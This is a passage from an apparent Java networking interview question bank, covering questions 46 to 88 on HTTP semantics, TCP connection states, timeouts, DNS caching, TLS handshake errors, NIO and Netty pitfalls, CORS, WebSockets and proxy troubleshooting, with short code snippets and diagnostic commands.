- Setting an `Authorization` header manually is required for pre-emptive Basic auth, since the authenticator only runs after a challenge.
- `Redirect.ALWAYS` also follows HTTPS to HTTP.

> **FOLLOW-UP TRAPS**
> - **Why does the client return a 302 response instead of the final page?** The default is not to follow redirects.
> - **Is 307/308 redirect method-preserving?** Yes; 301/302 may change POST to GET in clients.

#httpclient #redirects #cookies

Q46 What is the Happy Eyeballs and IPv4 vs IPv6 handling in Java? ADVANCED

`InetAddress` resolution returns both A and AAAA records; Java sorts by preference (`java.net.preferIPv6Addresses`, default false so IPv4 first) and `Socket.connect` tries only a single address. The JDK does not implement RFC 8305 Happy Eyeballs; Netty and others add it separately.

- A broken IPv6 route with AAAA first causes long connect timeouts.
- `-Djava.net.preferIPv4Stack=true` disables IPv6 sockets entirely.
- `URL` / `HttpClient` may try only the first resolved address, so failures on a dead first address surface as errors rather than falling back.

> **FOLLOW-UP TRAPS**
> - **Does `preferIPv4Stack` equal `preferIPv6Addresses=false`?** No; the first removes IPv6 support from the JVM, the second only reorders.
> - **What does `InetAddress.getByName("localhost")` return?** Typically 127.0.0.1 or ::1 depending on settings.

#ipv6 #dns #dual-stack

Q47 What are common HTTP status code families and the semantics of idempotent and safe methods? BASIC

1xx informational, 2xx success, 3xx redirect, 4xx client error, 5xx server error. Safe methods (GET, HEAD, OPTIONS) do not change state; idempotent methods (those plus PUT, DELETE) can be repeated with the same effect.

- 502 Bad Gateway: proxy got an invalid upstream response; 503: overloaded or unavailable; 504: upstream timeout.
- POST and PATCH are not idempotent by definition, so automatic retries are risky.
- `429` with `Retry-After` is the standard throttling signal.

> **FOLLOW-UP TRAPS**
> - **Is DELETE idempotent if the second call returns 404?** Yes, idempotence concerns server state, not the response code.
> - **Is GET with a side effect allowed?** Violates semantics; crawlers and prefetchers will trigger it.

#http #status-codes #idempotency

Q48 How does HTTP caching work (Cache-Control, ETag, conditional requests)? INTERMEDIATE

`Cache-Control: max-age` lets a cache reuse a response without contacting the origin. After expiry, a conditional request with `If-None-Match` (ETag) or `If-Modified-Since` returns `304 Not Modified` with no body when unchanged.

- `no-cache` means revalidate before use; `no-store` means never store.
- `private` restricts to browser caches; `public` allows shared caches.

- `Vary` lists request headers that make cached variants distinct.

FOLLOW-UP TRAPS

- **Does `no-cache` mean not cached?** No, that is `no-store`.
- **Is a 304 body-less?** Yes, the client reuses its stored body.

#http-caching #etag #cache-control

Q49 How do HTTP chunked transfer encoding and Content-Length differ? INTERMEDIATE

`Content-Length` declares the body size up front. `Transfer-Encoding: chunked` sends the body as length-prefixed chunks ending with a zero-length chunk, used when the size is unknown (streaming responses).

- A wrong `Content-Length` leads to truncated bodies or connection desync.
- Disagreement between proxy and backend over these headers underlies HTTP request smuggling.
- HTTP/2 has no chunked encoding; it frames data natively.

FOLLOW-UP TRAPS

- **Can both headers appear?** They must not; the framing becomes ambiguous and chunked takes priority in HTTP/1.1.
- **How does the client know when a keep-alive response ends without Content-Length?** Chunked terminator; otherwise it relies on connection close.

#http #chunked #content-length

Q50 What file descriptors and OS limits matter for network servers? INTERMEDIATE

Each socket consumes a file descriptor; the per-process limit (`ulimit -n`, often 1024 by default) caps concurrent connections. Exceeding it throws `SocketException: Too many open files`.

- Raise with `ulimit -n`, systemd `LimitNOFILE`, or container settings.
- Count with `ls /proc/<pid>/fd | wc -l` or `lsof -p`.
- Leaks (unclosed sockets, response bodies) show as growing `CLOSE_WAIT` counts.

FOLLOW-UP TRAPS

- **Does `accept()` fail by itself under FD exhaustion?** Yes, it returns an error repeatedly; the listener may spin and log in a tight loop.
- **Where do file-descriptor limits get silently low?** Docker/systemd defaults that ignore shell limits.

#file-descriptors #ulimit #linux

Q51 What is CLOSE_WAIT and what does a pile-up of them mean? INTERMEDIATE

CLOSE_WAIT means the peer sent FIN and your application has not yet closed its socket. A growing count means your code is leaking connections.

- Typical causes: missing `close()` on error paths, forgetting to close response bodies, a pool not evicting dead connections.
- Unlike TIME_WAIT, it never times out by itself; the OS keeps the socket until the process closes it.
- Diagnose with `ss -tanp state close-wait` and a thread/heap dump.

FOLLOW-UP TRAPS

- **Who is responsible for CLOSE_WAIT sockets, the remote or local?** The local application that did not call `close()`.
- **Do they disappear after a while?** No, only when the process closes them or exits.

#close-wait #tcp-states #leaks

Q52 What is the difference between `Connection reset`, `Connection reset by peer`, and `Broken pipe`? ADVANCED

All indicate the peer sent TCP RST. `Connection reset` is thrown on a read when an RST arrives; `Broken pipe` (EPIPE) occurs on a write after the connection was already closed/reset; `Connection reset by peer` is the OS wording of the same RST.

- Common triggers: server closed an idle keep-alive connection, the process crashed, a firewall/NAT dropped state, a LB timeout, or sending data to a closed socket.
- Fix: retry idempotent calls on stale pooled connections, evict idle connections earlier than server timeout, check LB idle timeouts.

> **FOLLOW-UP TRAPS**
> - **Does `close()` always send FIN?** Not with `SO_LINGER` 0 (RST), nor if unread data remains in the receive buffer (RST on Linux).
> - **Is `SocketException: Socket closed` the same?** No, that means your own code closed the socket locally.

#connection-reset #broken-pipe #exceptions

Scenarios

Q53 A service calls a downstream API with no timeouts configured. The downstream stalls. What happens? BASIC

Calling threads block indefinitely in `read`, the worker pool drains, and the service stops serving unrelated requests: a cascading failure from one slow dependency.

- Defaults: `HttpURLConnection` and `Socket` have infinite connect/read timeouts (connect limited only by the OS); JDK `HttpClient` has none either.
- Fix: set connect, read/request and pool-acquire timeouts, add a circuit breaker and bulkheads.
- Confirm with a thread dump: many threads in `SocketInputStream.socketRead0` / `NioSocketImpl.read`.

> **FOLLOW-UP TRAPS**
> - **Will the TCP stack eventually fail it?** Only if the peer dies and keep-alive probes fire (hours by default); a live-but-stalled peer never errors.
> - **Is a larger thread pool the fix?** No, it only delays exhaustion.

#timeouts #hang #thread-exhaustion

Q54 `socket.setSoTimeout(5000)` is set, but a call still takes 4 minutes. Why? INTERMEDIATE

`SO_TIMEOUT` applies per blocking `read`, not to the total. If the server trickles a byte every few seconds, each read succeeds before 5 s and the call continues.

- Also the timeout does not cover connect, DNS lookup, TLS handshake or pool wait.
- Enforce a total deadline: track elapsed time between reads, use `Future.get(timeout)` and close the socket, or a higher-level client with a request timeout.
- Closing the socket from another thread makes the blocked read throw `SocketException`.

> **FOLLOW-UP TRAPS**
> - **Does `SocketTimeoutException` mean the server failed?** It means no data arrived in time; the server may still be processing and complete the side effect.
> - **Does the timeout apply to writes?** No, `SO_TIMEOUT` applies to reads and accept only.

#timeouts #read-timeout #slow-response

Q55 Connecting to a host that silently drops packets: what do you see with and without a connect timeout?

BASIC

Without a timeout, `connect` retries SYNs with exponential backoff and fails with `ConnectException: Connection timed out` after about 2 minutes on Linux (`tcp_syn_retries=6`). With `connect(addr, 3000)` you get `SocketTimeoutException: Connect timed out` after 3 s.

- Silent drops (firewall DROP, security group) cause timeouts; an active reject or closed port gives `Connection refused` immediately.
- Distinguish them: refused means host reachable but nothing listens; timed out means packets vanish.

FOLLOW-UP TRAPS

- **What does "connection refused" tell you about the network path?** The host answered with RST, so routing and firewalls allow the packet.
- **Does `Connect timed out` vs `Connection timed out` matter?** The first is the Java-level timeout, the second is the OS-level timeout.

#connect-timeout #firewall

Q56 A client sometimes fails with `Connection reset` on the first request after a quiet period. Diagnose.

INTERMEDIATE

A pooled keep-alive connection was closed by the server or an intermediary (idle timeout) while the client still considered it open. The next write hits a dead connection and gets RST.

- Fix: set client idle eviction/max-idle shorter than the server and LB idle timeout, enable validate-after-inactivity (Apache `setValidateAfterInactivity`), or retry idempotent requests once.
- Example: AWS ALB idle timeout 60 s; server Tomcat `keepAliveTimeout` 20 s; client must evict before 20 s.
- Timing pattern (failures after N seconds of idle) is the signature.

FOLLOW-UP TRAPS

- **Why not just retry POST?** The server might have processed it; retry only if the connection failed before sending or the request is idempotent.
- **Would TCP keep-alive probes fix this?** Only if they keep the connection active within the intermediary's idle timeout.

#keep-alive #stale-connection #connection-reset

Q57 After deploying a new version behind DNS name `api.internal`, some clients keep calling the old IP for hours. Why?

INTERMEDIATE

The JVM caches the lookup (infinite if a security manager is present or `networkaddress.cache.ttl=-1`), and pooled connections keep using the old address.

- Fix: set `networkaddress.cache.ttl` to 10-60 s via `java.security` or `Security.setProperty` before the first lookup, set max connection lifetime on pools, and verify with `jcmd` / test.
- For long-lived connections (gRPC, DB), use client-side re-resolution or periodic reconnect.

```
Security.setProperty("networkaddress.cache.ttl", "30");
Security.setProperty("networkaddress.cache.negative.ttl", "5");
```

FOLLOW-UP TRAPS

- **Does setting it after the first lookup work?** The property is read once, so set it at startup before any `InetAddress` use.
- **Does lowering DNS record TTL alone fix it?** No, the JVM ignores record TTLs.

#dns #networkaddress.cache.ttl #failover

Q58 **Server logs show thousands of TIME_WAIT sockets on a client box and `Cannot assign requested address`. What do you do?** INTERMEDIATE

The client opens a new connection per request and closes it, consuming ephemeral ports faster than TIME_WAIT frees them. Fix the root cause by reusing connections.

- Use a shared pooled client with keep-alive; HTTP/2 multiplexing reduces connections further.
- Check `ss -s`, `sysctl net.ipv4.ip_local_port_range`.
- Stopgaps: widen port range, `net.ipv4.tcp_tw_reuse=1` (client side outgoing only), spread over more destination IPs.
- Avoid `SO_LINGER 0` hacks that send RST: data loss risk.

> **FOLLOW-UP TRAPS**
> - **Will lowering `tcp_fin_timeout` shorten TIME_WAIT?** No, TIME_WAIT is fixed at 60 s on Linux; `tcp_fin_timeout` governs FIN_WAIT_2.
> - **Which side should close first to avoid TIME_WAIT on the server?** The client; it then holds the state.

#time-wait #port-exhaustion #pooling

Q59 **A thread dump shows 200 threads in `PoolingHttpClientConnectionManager.leaseConnection`. What is wrong?** INTERMEDIATE

Threads wait for a pooled connection, so the pool is exhausted. Either demand exceeds `maxPerRoute` or connections are leaked because response entities are not consumed/closed.

- Check pool stats (`getTotalStats()`: leased/available/pending).
- Always close the response in try-with-resources or use `EntityUtils.consume`.
- Set a `connectionRequestTimeout` so callers fail fast instead of waiting forever.
- Default `maxPerRoute` is 2 in Apache 4.x, which is rarely enough.

> **FOLLOW-UP TRAPS**
> - **Why does the leak occur only on error paths?** Early returns or exceptions skip the close; use try-with-resources.
> - **Is increasing max connections the fix if leased count never decreases?** No, a leak will exhaust any size.

#connection-pool #leak #thread-dump

Q60 **A POST to a payment API times out on the client. Is it safe to retry?** INTERMEDIATE

Not blindly. A timeout means the outcome is unknown: the server may have processed it. Retrying a non-idempotent POST can double charge.

- Use an idempotency key header that the server de-duplicates on.
- Otherwise query the status of the original operation first.
- Retry with exponential backoff and jitter, with a cap on attempts and total deadline.

> **FOLLOW-UP TRAPS**
> - **If the connection failed during connect, is retry safe?** Yes, the request was never sent.
> - **Does a 503 response guarantee no processing?** Not guaranteed; follow the API's contract.

#idempotency #retry #timeouts

Q61 **Latency spikes of exactly ~40 ms appear in a request/response protocol that writes header then body separately. Cause?** ADVANCED

Nagle's algorithm holds the second small write until the first is acked, while the receiver delays its ACK (up to ~40 ms) hoping to piggyback it. The interaction stalls the body.

- Fix: set `TCP_NODELAY`, or better write header and body in one buffer / `BufferedOutputStream` and flush once.
- Verify with a packet capture showing the pause between segments.

FOLLOW-UP TRAPS

- **Would a bigger send buffer fix it?** No, the delay is the protocol interaction, not the buffer size.
- **Is the delay present on loopback?** Often yes on Linux, which makes it easy to reproduce locally.

#nagle #delayed-ack #latency

Q62 What is the output and problem in this NIO echo read loop? ADVANCED

The code forgets to remove the key and ignores the `-1` end-of-stream result.

```
while (true) {
    selector.select();
    for (SelectionKey k : selector.selectedKeys()) {
        SocketChannel ch = (SocketChannel) k.channel();
        ByteBuffer buf = ByteBuffer.allocate(256);
        ch.read(buf);
        buf.flip();
        ch.write(buf);
    }
}
```

- `selectedKeys()` is never cleared, so keys are re-processed on every loop (busy spinning on stale keys).
- After the peer closes, `read` returns -1 forever and the key stays ready: CPU spin; you must `ch.close()` on -1.
- `write` may be partial; unwritten bytes must be kept and `OP_WRITE` registered.
- Allocating a buffer per event is wasteful.

FOLLOW-UP TRAPS

- **Why does CPU hit 100% when a client disconnects?** The channel stays readable (EOF) and the loop never closes it.
- **Does `write` always write the whole buffer on a non-blocking channel?** No, it may write fewer bytes or zero.

#nio #selector #bug

Q63 Your NIO server hits 100% CPU with `select()` returning immediately with zero ready keys. What is this? ADVANCED

The historic JDK epoll spin bug (and similar misuse): `select()` returns 0 repeatedly, burning CPU. Older JDKs on Linux had it; Netty works around it by counting premature returns and rebuilding the selector.

- Check for other causes: a registered `OP_WRITE` interest on an always-writable channel, or `OP_CONNECT` left set after connect completes.
- Use a mature framework (Netty), a recent JDK, and profile the event loop thread.

FOLLOW-UP TRAPS

- **Why not `selectNow()` in a loop?** It spins by design; `select()` is meant to block.
- **How does `finishConnect` relate?** Failing to call it and clear `OP_CONNECT` keeps the key ready forever.

#nio #epoll-bug #selector

Q64 A Netty handler calls a blocking JDBC query. What breaks and how do you fix it? INTERMEDIATE

The query blocks the event-loop thread, so every other channel assigned to that loop stalls (latency spikes, timeouts, heartbeats missed).

- Fix: add the handler to a separate `EventExecutorGroup` (`pipeline.addLast(group, handler)`) or hand work to a dedicated thread pool and write results back via the channel.
- Detect with Netty's `BlockHound` or logs of long event-loop tasks.
- Core rule: event loop threads only do non-blocking work.

FOLLOW-UP TRAPS

- **Is `Thread.sleep` in a handler harmless?** No, it blocks every channel on that loop.
- **Can another thread call `channel.write`?** Yes; Netty queues it onto the channel's event loop.

#netty #event-loop #blocking

Q65 Netty server memory grows until OOM during a slow-client download. Why? ADVANCED

The server writes faster than the client reads; unwritten data accumulates in the channel's outbound buffer because the app ignores `channel.isWritable()`.

- Configure `WRITE_BUFFER_WATER_MARK` (low/high); when the high mark passes, `isWritable()` turns false and `channelWritabilityChanged` fires.
- Pause producing until writable again, or use `ChunkedWriteHandler` / `ChunkedFile`.
- Also check for `ByteBuf` leaks with leak detection.

FOLLOW-UP TRAPS

- **Does `writeAndFlush` block when the client is slow?** No, it enqueues and returns a future.
- **Does setting a bigger water mark fix it?** It only delays the memory problem.

#netty #backpressure #writability

Q66 A request is slow only on the first call after startup. Which network-related causes exist? INTERMEDIATE

First call pays DNS lookup, TCP connect, TLS handshake, class loading of the SSL/HTTP stack and JIT warm-up, plus possibly certificate chain validation and OCSP.

- Verify by timing phases (`curl -w` timing variables, `-Djavax.net.debug=ssl:handshake`, or client event listeners in OkHttp).
- Mitigate with warm-up calls at startup, connection pre-warming, and an app-level health check that hits dependencies.
- Entropy-related slow `SecureRandom` was a classic cause on old VMs.

FOLLOW-UP TRAPS

- **Why is the second call fast?** The connection is pooled and DNS is cached.
- **Would HTTP/2 help the first call?** No, only subsequent calls via multiplexing.

#cold-start #tls #dns

Q67 Calls to a service take exactly 5 seconds intermittently. What is the likely cause? ADVANCED

A 5 s delay matches the default DNS resolver timeout (glibc `timeout:5`): a lost UDP DNS packet or a parallel A/AAAA query race in `resolv.conf`, notoriously seen in Kubernetes with conntrack races on UDP DNS.

- Check with `time getent hosts name` and `tcpdump port 53`.
- Mitigations: `options single-request-reopen` or `use-vc` in resolv.conf, NodeLocal DNSCache, lower `ndots`, caching in JVM.
- Excessive `ndots:5` makes short names trigger many search-domain queries.

FOLLOW-UP TRAPS

- **Why does it affect only some calls?** Only lookups that hit the lost packet pay the timeout; the cache hides it later.
- **Does Java use its own resolver?** The JDK delegates to the OS (`getaddrinfo`) by default.

#dns #latency #resolver

Q68 **HTTPS call fails with `PKIX path building failed`. What does it mean and how do you fix it?** BASIC

The JVM cannot build a chain from the server certificate to a trusted root in its trust store: a private/internal CA, missing intermediate certificate, or an outdated `cacerts`.

- Import the CA: `keytool -importcert -alias corp-ca -file ca.pem -keystore $JAVA_HOME/lib/security/cacerts`, or a dedicated truststore via `-Djavax.net.ssl.trustStore`.
- The server must send the intermediate certificates too.
- Do not disable validation; trust-all managers defeat TLS.
- Debug with `-Djavax.net.debug=ssl:handshake`.

FOLLOW-UP TRAPS

- **Why does it work in the browser but not Java?** Browsers fetch missing intermediates (AIA); Java does not by default.
- **Is the fix to disable hostname verification?** No, that is a different check, and disabling it is also unsafe.

#tls #truststore #pkix

Q69 **`SSLHandshakeException: No subject alternative names matching IP address` is thrown. Why?** INTERMEDIATE

Java verifies that the host in the URL matches a certificate Subject Alternative Name. Connecting by IP when the certificate only lists DNS names fails (CN is ignored when SANs are present).

- Connect with the DNS name, or issue a certificate with an IP SAN.
- For tests, override resolution (hosts file) rather than disabling verification.
- A mismatched name behind a proxy or load balancer URL is the common case.

FOLLOW-UP TRAPS

- **Does the CN still count?** Modern Java and HTTP clients only use SANs when they exist.
- **How does SNI relate?** The client sends the host name in ClientHello so the server picks the right cert; with an IP, no SNI is sent.

#tls #san #hostname-verification

Q70 **Handshake fails with `handshake_failure` / `protocol_version` after a JDK upgrade. What changed?** ADVANCED

Newer JDKs disable legacy protocols and ciphers via `jdk.tls.disabledAlgorithms` in `java.security`: SSLv3, TLS 1.0 and 1.1 (disabled in JDK 8u291 / 11.0.11), weak ciphers, SHA-1 certs.

- Best fix: upgrade the server to TLS 1.2+.
- Temporary: edit `jdk.tls.disabledAlgorithms` (security risk), or force protocols with `-Dhttps.protocols=TLSv1.2`.
- Diagnose by `-Djavax.net.debug=ssl:handshake` and `openssl s_client -connect host:443 -tls1_2`.

FOLLOW-UP TRAPS

- **Does TLS 1.3 enabled by default break old servers?** Rarely; the client offers 1.2 too and negotiation falls back, but some middleboxes break on 1.3 ClientHello.
- **Does `https.protocols` affect `HttpClient`?** `HttpClient` uses `SSLParameters` via `.sslParameters(...)`; jdk.tls.client.protocols is the system property.

#tls #jdk-upgrade #cipher-suites

Q71 A health check from a load balancer passes but users see 502 errors intermittently. Where do you look? INTERMEDIATE

Classic keep-alive mismatch: the backend closes an idle connection at the same moment the LB reuses it, producing 502. The backend idle timeout must be longer than the LB idle timeout.

- Example: ALB idle 60 s requires Tomcat/Netty/NGINX keep-alive > 60 s (for example 65 s).
- Also check backend crashes, slow responses beyond LB timeout (504), and request size limits.
- Look at LB access logs (`elb_status_code` vs `target_status_code`).

FOLLOW-UP TRAPS

- **Which side should have the longer idle timeout?** The backend (the closer-to-origin hop), so the LB always closes first.
- **Does the health check test keep-alive reuse?** No; it opens fresh requests.

#load-balancer #502 #keep-alive

Q72 gRPC clients send all traffic to one pod behind a Kubernetes ClusterIP service. Why and what is the fix? ADVANCED

`ClusterIP` balances per TCP connection (kube-proxy). gRPC multiplexes all calls over a single long-lived HTTP/2 connection, so one pod receives everything.

- Fix: a headless service plus client-side round-robin (`dns:///` target with `round_robin` policy), an L7 proxy/mesh (Envoy, Linkerd), or periodically recycling connections (`maxConnectionAge`).
- Re-resolving DNS interacts with `networkaddress.cache.ttl` in Java.

FOLLOW-UP TRAPS

- **Does adding replicas help alone?** No, existing connections stay pinned; new pods get no traffic until clients reconnect.
- **Why is HTTP/1.1 less affected?** Clients open several connections and often reconnect more.

#grpc #http2 #load-balancing

Q73 Browser console shows `blocked by CORS policy` but the API works in Postman. What is happening? BASIC

Postman does not enforce the same-origin policy; the browser does. The response lacks `Access-Control-Allow-Origin` for the page's origin, or the preflight failed.

- Inspect the `OPTIONS` request in dev tools: status, `Allow-Methods`, `Allow-Headers` covering the headers (`Authorization`, `Content-Type`).
- Fix server-side: allow the specific origin, methods and headers; errors (4xx/5xx) must also carry CORS headers.
- A redirect on the preflight also fails.

FOLLOW-UP TRAPS

- **Is `Allow-Origin: *` with cookies allowed?** No; credentials require an exact origin and `Allow-Credentials: true`.
- **Can a frontend proxy avoid CORS?** Yes, a same-origin dev proxy removes cross-origin requests entirely.

#cors #browser #debugging

Q74 What happens with this Spring CORS config, and what is wrong? INTERMEDIATE

`allowedOrigins("*")` together with `allowCredentials(true)` is rejected at startup/runtime in Spring (IllegalArgumentException), because browsers refuse wildcard origin with credentials.

```
registry.addMapping("/api/**")
    .allowedOrigins("*")
    .allowCredentials(true);
```

- Use `allowedOriginPatterns("https://*.example.com")` or an explicit list.
- With Spring Security, enable `http.cors(Customizer.withDefaults())` so the CORS filter runs before authentication.
- Reflecting any `Origin` with credentials enabled is a security hole.

FOLLOW-UP TRAPS

- **Does `@CrossOrigin` on a controller work if Security rejects `OPTIONS` first?** No, the filter must handle preflight before authorization.
- **Is a wildcard subdomain allowed in `allowedOrigins`?** Not in that method; use `allowedOriginPatterns`.

#cors #spring #security

Q75 WebSocket connections drop every 60 seconds in production but not locally. Why? INTERMEDIATE

A proxy or load balancer closes idle connections after its idle timeout (NGINX `proxy_read_timeout` 60 s, ALB 60 s default). Locally nothing sits in between.

- Fix: send application or protocol ping/pong frames more often than the timeout, and raise the proxy timeout for upgrade routes.
- The NGINX config must pass `Upgrade` and `Connection` headers and use HTTP/1.1 to the backend.
- Add client-side reconnect with exponential backoff and jitter.

FOLLOW-UP TRAPS

- **Does TCP keep-alive replace ping frames?** Rarely; its default interval is far above LB timeouts.
- **Why does 101 never arrive behind NGINX?** Upgrade headers are not forwarded unless configured.

#websocket #idle-timeout #load-balancer

Q76 Scaling a WebSocket chat to 3 instances: users on different instances don't receive each other's messages. Why and how to fix? ADVANCED

Each instance holds only its own connections in memory. A message published on instance A is never delivered to sockets on B.

- Fix: a shared pub/sub backbone (Redis pub/sub, Kafka, RabbitMQ with Spring STOMP broker relay) so every instance fans out to its local sessions.
- Load balance with least-connections; sticky sessions are needed only for fallback transports like SockJS.
- Store presence in a shared store with TTLs; handle reconnect and resume with message IDs.

FOLLOW-UP TRAPS

- **Do sticky sessions solve cross-user delivery?** No, users still connect to different nodes.
- **What happens on deploy?** All sockets drop; clients must reconnect with jitter to avoid a thundering herd.

#websocket #scaling #pubsub

Q77 A client downloads a large response using `HttpResponse.BodyHandlers.ofString()` and the service runs out of memory. Fix?

INTERMEDIATE

`ofString` buffers the whole body in memory. For large payloads stream it: `ofInputStream`, `ofLines`, or `ofFile`.

```
HttpResponse<Path> r = client.send(req,
    HttpResponse.BodyHandlers.ofFile(Path.of("out.bin")));
System.out.println(r.body());   // out.bin
```

- With `ofInputStream`, close the stream in try-with-resources.
- Limit expected sizes (`Content-Length` check) to avoid untrusted huge bodies.

FOLLOW-UP TRAPS

- **Does `ofLines` stream lazily?** Yes, a `Stream<String>` that must be closed.
- **Does a reactive subscriber give backpressure?** Yes, `BodySubscriber` demand via `request(n)`.

#httpclient #streaming #memory

Q78 A scheduled job fires 500 parallel `client.send` calls to the same host and hangs. What might be limiting it?

ADVANCED

Possible limits: the pool max per route (Apache), the server's HTTP/2 `MAX_CONCURRENT_STREAMS` (JDK client queues extra streams or opens more connections), the server worker threads, or the ephemeral port/FD limits.

- JDK `HttpClient` with HTTP/1.1 opens up to many connections; use `jdk.httpclient.maxstreams` and a semaphore on the caller to cap concurrency.
- Backpressure in the producer: bound concurrency (for example `Semaphore(50)`) rather than blasting everything.
- Look at the server side queue and thread dump of the client.

FOLLOW-UP TRAPS

- **Does HTTP/2 mean unlimited parallelism?** No, concurrency is capped by the server's advertised stream limit (often 100).
- **Is more parallelism always faster?** No, past the backend capacity it only adds queueing and timeouts.

#httpclient #http2 #concurrency

Q79 A reverse proxy returns 413 for uploads and 504 for slow reports. What settings does each point to?

BASIC

413 Payload Too Large: body exceeds the proxy limit (NGINX `client_max_body_size`, default 1 MB), or the app server (Spring `spring.servlet.multipart.max-file-size`). 504 Gateway Timeout: upstream did not answer within the proxy's read timeout (NGINX `proxy_read_timeout` 60 s).

- Fix 504 by making slow work asynchronous (return 202 and poll) rather than only raising timeouts.
- Keep timeouts ordered: client > proxy > app > downstream per hop to avoid duplicate work.

FOLLOW-UP TRAPS

- **If the proxy times out, does the backend stop working?** Not necessarily; the request may continue and finish after the client is gone.
- **Where is the multipart limit enforced first?** The earliest hop in the path with a smaller limit.

#proxy #413 #504

Q80 Requests via a corporate proxy hang for HTTPS but work for HTTP. Why?

INTERMEDIATE

HTTPS via a forward proxy uses `CONNECT host:443`. The JVM may only have `http.proxyHost` set (not `https.proxyHost`), or the proxy blocks CONNECT/needs authentication (407), or `HttpClient` was never

given a `ProxySelector`.

- Set both `http.*` and `https.*` properties, `http.nonProxyHosts`.
- Java disables Basic auth for HTTPS tunneling by default: `jdk.http.auth.tunneling.disabledSchemes=""` to allow it.
- JDK `HttpClient` needs `.proxy(ProxySelector.getDefault())` and an `Authenticator`.

FOLLOW-UP TRAPS

- **Can the proxy read HTTPS payloads?** Not through CONNECT unless it performs TLS interception with its own CA.
- **Why the 407 error with Basic?** The tunneling auth scheme is disabled by default since 8u111.

#proxy #connect-tunnel #https

Q81 **Your server accepts connections but clients see `Connection refused` during deployment bursts. What is going on?** ADVANCED

If nothing is listening (process restarting), the kernel sends RST: refused. If the process listens but accept queue overflows, behaviour depends on `tcp_abort_on_overflow` (default 0: drop, causing client timeouts and SYN retries).

- Use graceful shutdown with readiness gates (deregister from LB, drain in-flight, then stop).
- Increase `backlog` / `somaxconn`, and make the accept loop fast.
- Check `netstat -s | grep -i listen` for overflow counters.

FOLLOW-UP TRAPS

- **Why would refused connections appear on a healthy-looking port?** The new instance has not yet bound the port, or an old one closed while the LB still routed.
- **Does Spring Boot support graceful shutdown?** Yes, `server.shutdown=graceful`.

#backlog #listen-queue #deployment

Q82 **A server thread reads with `InputStream.read` and the client crashes without closing. What does the server see?** INTERMEDIATE

If the client machine died (power loss, cable pull) no FIN/RST is sent, so the server's read blocks indefinitely: a half-open connection. A process crash differs, because the OS sends FIN/RST.

- Defences: `SO_TIMEOUT`, application heartbeats, TCP keep-alive (tune `tcp_keepalive_time`, `intvl`, `probes`; Java 11+ `ExtendedSocketOptions.TCP_KEEPIDLE`).
- Servers should have idle-connection timeouts.

FOLLOW-UP TRAPS

- **Does `Socket.isConnected()` reveal a dead peer?** No, it only says a connection was made at some time.
- **Does `isClosed()`?** No, it reflects only the local close state.

#half-open #dead-peer #keep-alive

Q83 **A client sends a request and the server replies but the client sees `SocketTimeoutException: Read timed out`. What are the two checks?** INTERMEDIATE

Check whether the server actually responded in time, and whether the delay is before or after the first byte: use `tcpdump`/Wireshark on both ends, server access logs with request duration, and `curl -w` timings.

- Server slow (GC pause, DB, thread pool queue): response leaves late.
- Network/proxy slow: server log shows fast, client sees slow; look at LB, retransmissions (`ss -ti`), MTU.
- Client slow: its own GC pause or exhausted executor before reading.

FOLLOW-UP TRAPS

- **Can a client GC pause cause a read timeout?** Yes, a long stop-the-world can exceed the timeout before the thread reads.
- **How to read the timing breakdown from curl?** `-w "%{time_namelookup} %{time_connect} %{time_appconnect} %{time_starttransfer} %{time_total}"`.

#read-timeout #debugging #tcpdump

Q84 What does `ss -tan state established '( dport = :443 )'` and `lsof` help find in a connection-leak investigation? INTERMEDIATE

They list sockets by state and peer, so you can see which remote endpoints a JVM holds many connections to and in what state (ESTABLISHED, CLOSE_WAIT, TIME_WAIT).

```
ss -tanp | awk '{print $1}' | sort | uniq -c
lsof -p <pid> -iTCP -sTCP:CLOSE_WAIT | wc -l
```

- Growth in ESTABLISHED to one host: unreleased pool leases or missing close.
- Growth in CLOSE_WAIT: peer closed, app did not.
- Combine with `jcmd <pid> Thread.print` and heap dump histogram of `Socket` / `SocketImpl` objects.

FOLLOW-UP TRAPS

- **Does a heap dump show leaked sockets?** Yes, many live `NioSocketImpl` / `SocketChannelImpl` instances with their stack-tracked owners.
- **Why check the process cap?** FD limit reached leads to `Too many open files`.

#ss #lsof #diagnostics

Q85 Throughput over a WAN link is far below bandwidth with a single connection. What can you do? ADVANCED

Throughput is limited by window/RTT. With 100 Mbit/s and 100 ms RTT the bandwidth-delay product is about 1.25 MB, so a 64 KB window yields about 5 Mbit/s.

- Enable window scaling (default on) and let autotuning grow buffers; avoid hard-coding `setReceiveBufferSize` low values.
- Use parallel connections or HTTP/2 multiplexing to fill the pipe, or a congestion algorithm such as BBR.
- Check packet loss with `ss -ti` retransmit counters.

FOLLOW-UP TRAPS

- **Does setting `SO_RCVBUF` after connect take effect for window scaling?** It must be set before connect (client) or listen (server).
- **Does adding more bandwidth help if RTT is the limit?** Only when the window can cover the larger BDP.

#tcp #bdp #throughput

Q86 What does this blocking server do when two clients connect at once? BASIC

It serves them one after the other: the second client connects (the kernel completes the handshake) but is not served until the first finishes, because `handle` runs on the accept thread.

```
try (ServerSocket ss = new ServerSocket(9000)) {
    while (true) {
        try (Socket s = ss.accept()) {
            handle(s);   // blocks while client 1 is served
        }
    }
}
```

- Client 2 may appear connected (writes succeed into the kernel buffer) yet gets no response.

- Fix: hand each socket to an executor (or virtual threads on Java 21: `Executors.newVirtualThreadPerTaskExecutor()`).

> **FOLLOW-UP TRAPS**
> - **Does the second client get `Connection refused`?** No, until the accept queue overflows it is queued.
> - **Is an unbounded thread-per-connection fix safe?** No, cap concurrency or use virtual threads with a semaphore.

#serversocket #blocking-io #concurrency

Q87 **A read loop uses `in.read(buf)` and treats each return as a full message, but messages sometimes arrive merged or split. What happens?** BASIC

Parsing breaks randomly: TCP can coalesce two writes into one read or split one write into several. It appears to work on localhost with small messages and fails under load or on real networks.

- Fix with length-prefixed framing and `DataInputStream.readFully`:

```
int len = in.readInt();
if (len < 0 || len > 1_000_000) throw new IOException("bad frame");
byte[] body = new byte[len];
in.readFully(body);
```

> **FOLLOW-UP TRAPS**
> - **Does it work reliably if every message is small?** No, segmentation and Nagle can still merge them.
> - **What does `read` return at end of stream?** -1.

#framing #tcp #bug

Q88 **What exception arises when the client closes the connection and the server keeps writing?** INTERMEDIATE

The first write after the peer's FIN usually succeeds (data goes out, peer answers RST). The next write fails with `SocketException: Broken pipe` (Linux) or `Connection reset by peer` / `Connection reset`.

- Seen in web apps as `ClientAbortException` / `AsyncRequestNotUsableException` when the browser navigates away mid-response.
- Handle by treating them as client disconnects (log at debug), stop producing, and release resources.

> **FOLLOW-UP TRAPS**
